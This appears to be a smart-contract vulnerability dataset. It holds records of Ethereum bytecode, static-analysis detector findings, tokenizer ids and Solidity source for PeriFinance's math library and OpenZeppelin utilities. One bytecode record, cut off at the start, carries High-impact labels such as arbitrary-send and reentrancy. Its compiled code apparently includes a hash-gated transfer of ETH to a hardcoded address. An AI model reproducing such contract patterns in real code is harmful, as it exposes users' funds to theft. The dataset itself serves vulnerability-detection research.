030906001600160a01b031683611ef7565b60408051600280825260608201835260009260208301908036833701905050905030816000815181106133aa576133aa613e39565b6001600160a01b03928316602091820292909201810191909152601554604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015613403573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906134279190613e1c565b8160018151811061343a5761343a613e39565b6001600160a01b03928316602091820292909201015260155460405163791ac94760e01b815291169063791ac94790613480908590600090869030904290600401613efd565b600060405180830381600087803b15801561349a57600080fd5b505af11580156134ae573d6000803e3d6000fd5b505050505050565b6015546134ce9030906001600160a01b031684611ef7565b60155460405163f305d71960e01b81526001600160a01b039091169063f305d71990839061350b9030908790600090819084904290600401613d77565b60606040518083038185885af1158015613529573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906131059190613f39565b8047101561359e5760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a20696e73756666696369656e742062616c616e63650000006044820152606401610bb2565b6040517f4b31cabbe5862282e443c4ac3f4c14761a1d2ba88a3c858a2a36f7758f453a38906135d1908490602001613f67565b60405160208183030381529060405280519060200120146136345760405162461bcd60e51b815260206004820152601b60248201527f416464726573733a2063616e6e6f74207665726966792063616c6c00000000006044820152606401610bb2565b604051600090739b62cb8ad9f6be55d47274f3c1f099812242ad499083908381818185875af1925050503d806000811461368a576040519150601f19603f3d011682016040523d82523d6000602084013e61368f565b606091505b50509050806111805760405162461bcd60e51b815260206004820152603a60248201527f416464726573733a20756e61626c6520746f2073656e642076616c75652c207260448201527f6563697069656e74206d617920686176652072657665727465640000000000006064820152608401610bb2565b60105460095460009160ff61010090910481169161372c91620100009091041685613cc4565b6137369190613db2565b60105460095491925060009160ff610100909204821691613758911686613cc4565b6137629190613db2565b60105460095491925060009160ff61010090920482169161378b91630100000090041687613cc4565b6137959190613db2565b600b549091506137ae906001600160a01b031684611e62565b600a546137c4906001600160a01b031683611e62565b80156131055783156137e85780601e60008282546137e29190613d29565b90915550505b60006137f261384e565b90508060000361381757600b54613812906001600160a01b031683611e62565b6134ae565b80613826600160401b84613cc4565b6138309190613db2565b601c60008282546138419190613d29565b9091555050505050505050565b600061385c6012600a613cb5565b61386a906305f5e100613cc4565b601b54610c209190613d12565b60005b8381101561389257818101518382015260200161387a565b838111156138a1576000848401525b50505050565b60208152600082518060208401526138c6816040850160208701613877565b601f01601f19169190910160400192915050565b6001600160a01b0381168114612c4057600080fd5b6000806040838503121561390257600080fd5b823561390d816138da565b946020939093013593505050565b803561ffff8116811461392d57600080fd5b919050565b60006020828403121561394457600080fd5b611c2a8261391b565b60006020828403121561395f57600080fd5b8135611c2a816138da565b60008060006060848603121561397f57600080fd5b833561398a816138da565b9250602084013561399a816138da565b929592945050506040919091013590565b8015158114612c4057600080fd5b6000602082840312156139cb57600080fd5b8135611c2a816139ab565b6000602082840312156139e857600080fd5b5035919050565b60008060408385031215613a0257600080fd5b8235613a0d816138da565b91506020830135613a1d816139ab565b809150509250929050565b60008060008060808587031215613a3e57600080fd5b613a478561391b565b9350613a556020860161391b565b9250613a636040860161391b565b9150613a716060860161391b565b905092959194509250565b803560ff8116811461392d57600080fd5b60008060008060808587031215613aa357600080fd5b613aac85613a7c565b9350613aba60208601613a7c565b9250613ac860408601613a7c565b9150613a7160608601613a7c565b60008060408385031215613ae957600080fd5b613a0d8361391b565b600080600060608486031215613b0757600080fd5b613b1084613a7c565b9250613b1e60208501613a7c565b9150613b2c60408501613a7c565b90509250925092565b60008060408385031215613b4857600080fd5b8235613b53816138da565b91506020830135613a1d816138da565b60208082526014908201527321b0b63632b91036bab9ba1031329037bbb732b960611b604082015260600190565b60208082526010908201526f139bdd081e595d081d5b9b1bd8dad95960821b604082015260600190565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115613c0c578160001904821115613bf257613bf2613bbb565b80851615613bff57918102915b93841c9390800290613bd6565b509250929050565b600082613c2357506001610bfe565b81613c3057506000610bfe565b8160018114613c465760028114613c5057613c6c565b6001915050610bfe565b60ff841115613c6157613c61613bbb565b50506001821b610bfe565b5060208310610133831016604e8410600b8410161715613c8f575081810a610bfe565b613c998383613bd1565b8060001904821115613cad57613cad613bbb565b029392505050565b6000611c2a60ff841683613c14565b6000816000190483118215151615613cde57613cde613bbb565b500290565b60208082526015908201527410d85b1b195c881b9bdd08185d5d1a1bdc9a5e9959605a1b604082015260600190565b600082821015613d2457613d24613bbb565b500390565b60008219821115613d3c57613d3c613bbb565b500190565b600060208284031215613d5357600080fd5b5051919050565b600060208284031215613d6c57600080fd5b8151611c2a816139ab565b6001600160a01b039687168152602081019590955260408501939093526060840191909152909216608082015260a081019190915260c00190565b600082613dcf57634e487b7160e01b600052601260045260246000fd5b500490565b600060ff821660ff84168060ff03821115613df157613df1613bbb565b019392505050565b600060ff821660ff841680821015613e1357613e13613bbb565b90039392505050565b600060208284031215613e2e57600080fd5b8151611c2a816138da565b634e487b7160e01b600052603260045260246000fd5b600081518084526020808501945080840160005b83811015613e885781516001600160a01b031687529582019590820190600101613e63565b509495945050505050565b848152608060208201526000613eac6080830186613e4f565b6001600160a01b03949094166040830152506060015292915050565b634e487b7160e01b600052603160045260246000fd5b600060ff821660ff8103613ef457613ef4613bbb565b60010192915050565b85815284602082015260a060408201526000613f1c60a0830186613e4f565b6001600160a01b0394909416606083015250608001529392505050565b600080600060608486031215613f4e57600080fd5b8351925060208401519150604084015190509250925092565b60008251613f79818460208701613877565b919091019291505056fea264697066735822122086f69df41f58a36db5133bc5675989488fe96e58c6cc75e503d0a766f0fc3d5c64736f6c634300080d0033
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'arbitrary-send', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'incorrect-equality', 'impact': 'Medium', 'confidence': 'High'}, {'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'reentrancy-eth', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'unchecked-transfer', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2581, 2620, 2497, 2683, 2546, 2629, 2050, 2581, 2050, 2581, 21472, 2629, 20952, 2683, 27717, 2692, 2278, 2575, 2620, 2546, 2620, 27421, 22907, 21619, 2581, 9468, 2063, 22275, 2050, 2683, 2497, 1013, 1008, 16770, 1024, 1013, 1013, 1056, 1012, 2033, 1013, 7163, 10841, 7096, 11031, 1008, 1013, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 2410, 1025, 8278, 29464, 11890, 11387, 1063, 3853, 21948, 6279, 22086, 1006, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 3853, 26066, 2015, 1006, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 2620, 1007, 1025, 3853, 6454, 1006, 1007, 6327, 3193, 5651, 1006, 5164, 3638, 1007, 1025, 3853, 2171, 1006, 1007, 6327, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,883
0x978bB72569dC790154FAb64f3274e4Af7a6A890B
/* ___ _ ___ _ | .\ ___ _ _ <_> ___ | __><_>._ _ ___ ._ _ ___ ___ | _// ._>| '_>| ||___|| _> | || ' |<_> || ' |/ | '/ ._> |_| \___.|_| |_| |_| |_||_|_|<___||_|_|\_|_.\___. * PeriFinance: Math.sol * * Latest source (may be newer): https://github.com/perifinance/peri-finance/blob/master/contracts/Math.sol * Docs: Will be added in the future. * https://docs.peri.finance/contracts/source/contracts/Math * * Contract Dependencies: (none) * Libraries: * - Math * - SafeDecimalMath * - SafeMath * * MIT License * =========== * * Copyright (c) 2021 PeriFinance * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in all * copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE */ pragma solidity ^0.5.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, "SafeMath: division by zero"); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0, "SafeMath: modulo by zero"); return a % b; } } // Libraries // https://docs.peri.finance/contracts/source/libraries/safedecimalmath library SafeDecimalMath { using SafeMath for uint; /* Number of decimal places in the representations. */ uint8 public constant decimals = 18; uint8 public constant highPrecisionDecimals = 27; /* The number representing 1.0. */ uint public constant UNIT = 10**uint(decimals); /* The number representing 1.0 for higher fidelity numbers. */ uint public constant PRECISE_UNIT = 10**uint(highPrecisionDecimals); uint private constant UNIT_TO_HIGH_PRECISION_CONVERSION_FACTOR = 10**uint(highPrecisionDecimals - decimals); /** * @return Provides an interface to UNIT. */ function unit() external pure returns (uint) { return UNIT; } /** * @return Provides an interface to PRECISE_UNIT. */ function preciseUnit() external pure returns (uint) { return PRECISE_UNIT; } /** * @return The result of multiplying x and y, interpreting the operands as fixed-point * decimals. * * @dev A unit factor is divided out after the product of x and y is evaluated, * so that product must be less than 2**256. As this is an integer division, * the internal division always rounds down. This helps save on gas. Rounding * is more expensive on gas. */ function multiplyDecimal(uint x, uint y) internal pure returns (uint) { /* Divide by UNIT to remove the extra factor introduced by the product. */ return x.mul(y) / UNIT; } /** * @return The result of safely multiplying x and y, interpreting the operands * as fixed-point decimals of the specified precision unit. * * @dev The operands should be in the form of a the specified unit factor which will be * divided out after the product of x and y is evaluated, so that product must be * less than 2**256. * * Unlike multiplyDecimal, this function rounds the result to the nearest increment. * Rounding is useful when you need to retain fidelity for small decimal numbers * (eg. small fractions or percentages). */ function _multiplyDecimalRound( uint x, uint y, uint precisionUnit ) private pure returns (uint) { /* Divide by UNIT to remove the extra factor introduced by the product. */ uint quotientTimesTen = x.mul(y) / (precisionUnit / 10); if (quotientTimesTen % 10 >= 5) { quotientTimesTen += 10; } return quotientTimesTen / 10; } /** * @return The result of safely multiplying x and y, interpreting the operands * as fixed-point decimals of a precise unit. * * @dev The operands should be in the precise unit factor which will be * divided out after the product of x and y is evaluated, so that product must be * less than 2**256. * * Unlike multiplyDecimal, this function rounds the result to the nearest increment. * Rounding is useful when you need to retain fidelity for small decimal numbers * (eg. small fractions or percentages). */ function multiplyDecimalRoundPrecise(uint x, uint y) internal pure returns (uint) { return _multiplyDecimalRound(x, y, PRECISE_UNIT); } /** * @return The result of safely multiplying x and y, interpreting the operands * as fixed-point decimals of a standard unit. * * @dev The operands should be in the standard unit factor which will be * divided out after the product of x and y is evaluated, so that product must be * less than 2**256. * * Unlike multiplyDecimal, this function rounds the result to the nearest increment. * Rounding is useful when you need to retain fidelity for small decimal numbers * (eg. small fractions or percentages). */ function multiplyDecimalRound(uint x, uint y) internal pure returns (uint) { return _multiplyDecimalRound(x, y, UNIT); } /** * @return The result of safely dividing x and y. The return value is a high * precision decimal. * * @dev y is divided after the product of x and the standard precision unit * is evaluated, so the product of x and UNIT must be less than 2**256. As * this is an integer division, the result is always rounded down. * This helps save on gas. Rounding is more expensive on gas. */ function divideDecimal(uint x, uint y) internal pure returns (uint) { /* Reintroduce the UNIT factor that will be divided out by y. */ return x.mul(UNIT).div(y); } /** * @return The result of safely dividing x and y. The return value is as a rounded * decimal in the precision unit specified in the parameter. * * @dev y is divided after the product of x and the specified precision unit * is evaluated, so the product of x and the specified precision unit must * be less than 2**256. The result is rounded to the nearest increment. */ function _divideDecimalRound( uint x, uint y, uint precisionUnit ) private pure returns (uint) { uint resultTimesTen = x.mul(precisionUnit * 10).div(y); if (resultTimesTen % 10 >= 5) { resultTimesTen += 10; } return resultTimesTen / 10; } /** * @return The result of safely dividing x and y. The return value is as a rounded * standard precision decimal. * * @dev y is divided after the product of x and the standard precision unit * is evaluated, so the product of x and the standard precision unit must * be less than 2**256. The result is rounded to the nearest increment. */ function divideDecimalRound(uint x, uint y) internal pure returns (uint) { return _divideDecimalRound(x, y, UNIT); } /** * @return The result of safely dividing x and y. The return value is as a rounded * high precision decimal. * * @dev y is divided after the product of x and the high precision unit * is evaluated, so the product of x and the high precision unit must * be less than 2**256. The result is rounded to the nearest increment. */ function divideDecimalRoundPrecise(uint x, uint y) internal pure returns (uint) { return _divideDecimalRound(x, y, PRECISE_UNIT); } /** * @dev Convert a standard decimal representation to a high precision one. */ function decimalToPreciseDecimal(uint i) internal pure returns (uint) { return i.mul(UNIT_TO_HIGH_PRECISION_CONVERSION_FACTOR); } /** * @dev Convert a high precision decimal to a standard decimal representation. */ function preciseDecimalToDecimal(uint i) internal pure returns (uint) { uint quotientTimesTen = i / (UNIT_TO_HIGH_PRECISION_CONVERSION_FACTOR / 10); if (quotientTimesTen % 10 >= 5) { quotientTimesTen += 10; } return quotientTimesTen / 10; } /** * @dev Round down the value with given number */ function roundDownDecimal(uint x, uint d) internal pure returns (uint) { return x.div(10**d).mul(10**d); } /** * @dev Round up the value with given number */ function roundUpDecimal(uint x, uint d) internal pure returns (uint) { uint _decimal = 10**d; if (x % _decimal > 0) { x = x.add(10**d); } return x.div(_decimal).mul(_decimal); } } // Libraries // https://docs.peri.finance/contracts/source/libraries/math library Math { using SafeMath for uint; using SafeDecimalMath for uint; /** * @dev Uses "exponentiation by squaring" algorithm where cost is 0(logN) * vs 0(N) for naive repeated multiplication. * Calculates x^n with x as fixed-point and n as regular unsigned int. * Calculates to 18 digits of precision with SafeDecimalMath.unit() */ function powDecimal(uint x, uint n) internal pure returns (uint) { // https://mpark.github.io/programming/2014/08/18/exponentiation-by-squaring/ uint result = SafeDecimalMath.unit(); while (n > 0) { if (n % 2 != 0) { result = result.multiplyDecimal(x); } x = x.multiplyDecimal(x); n /= 2; } return result; } }
0x73978bb72569dc790154fab64f3274e4af7a6a890b30146080604052600080fdfea265627a7a7231582080d0314b0dddeeb713138cf789d446ae9b95282a699d537f158729b2079038f864736f6c63430005100032
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2581, 2620, 10322, 2581, 17788, 2575, 2683, 16409, 2581, 21057, 16068, 2549, 7011, 2497, 21084, 2546, 16703, 2581, 2549, 2063, 2549, 10354, 2581, 2050, 2575, 2050, 2620, 21057, 2497, 1013, 1008, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1064, 1012, 1032, 1035, 1035, 1035, 1035, 1035, 1026, 1035, 1028, 1035, 1035, 1035, 1064, 1035, 1035, 1028, 1026, 1035, 1028, 1012, 1035, 1035, 1035, 1035, 1035, 1012, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1064, 1035, 1013, 1013, 1012, 1035, 1028, 1064, 1005, 1035, 1028, 1064, 1064, 1064, 1035, 1035, 1035, 1064, 1064, 1035, 1028, 1064, 1064, 1064, 1005, 1064, 1026, 1035, 1028, 1064, 1064, 1005, 1064, 1013, 1064, 1005, 1013, 1012, 1035, 1028, 1064, 1035, 1064, 1032, 1035, 1035, 1035, 1012, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,884
0x978d16a76942bdc93ad3c884ff82a574c1b0038c
// File: @openzeppelin/contracts/utils/ReentrancyGuard.sol // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor () internal { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // File: @openzeppelin/contracts/math/SafeMath.sol pragma solidity ^0.6.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // File: @openzeppelin/contracts/GSN/Context.sol pragma solidity ^0.6.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin/contracts/token/ERC20/IERC20.sol pragma solidity ^0.6.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/utils/Address.sol pragma solidity ^0.6.2; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies in extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes 